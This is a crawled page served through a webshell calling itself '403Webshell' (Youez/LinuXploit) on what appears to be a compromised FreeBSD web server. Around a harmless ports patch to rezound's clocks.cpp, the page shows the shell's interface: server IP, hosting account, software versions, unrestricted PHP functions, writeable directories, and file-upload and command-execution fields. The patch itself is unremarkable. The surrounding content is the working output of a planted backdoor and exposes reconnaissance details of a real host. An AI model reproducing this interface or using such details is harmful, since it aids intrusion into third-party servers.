403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/audio/rezound/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/audio/rezound/files/patch-src_misc_clocks.cpp
--- src/misc/clocks.cpp.orig	2013-02-10 06:35:02 UTC
+++ src/misc/clocks.cpp
@@ -304,18 +304,8 @@ int get_timezone_offset()
 #ifdef __APPLE__
 	int ret = [[NSTimeZone localTimeZone] secondsFromGMT];
 #else
-	tzset();
-
-	// ::timezone's manpage says "Seconds West of GMT", but I found this not to be the case
-	// ::timezone is in the range [-12*3600, 12*3600], but it's sign is opposite what we expect:
-	//   Central Time is +6 hours
-	// We want to return -6 hours for Central, so we translate the range and ensure it's min and max value
-
-
-	int ret = ::timezone;
-
-	// invert sign for our purposes
-	ret = -ret;
+	time_t date = time(NULL);
+	int ret = localtime(&date)->tm_gmtoff;
 #endif
 	
 	// "clamp-and-shift" to convert values outside the appropriate

Youez - 2016 - github.com/yon3zu
LinuXploit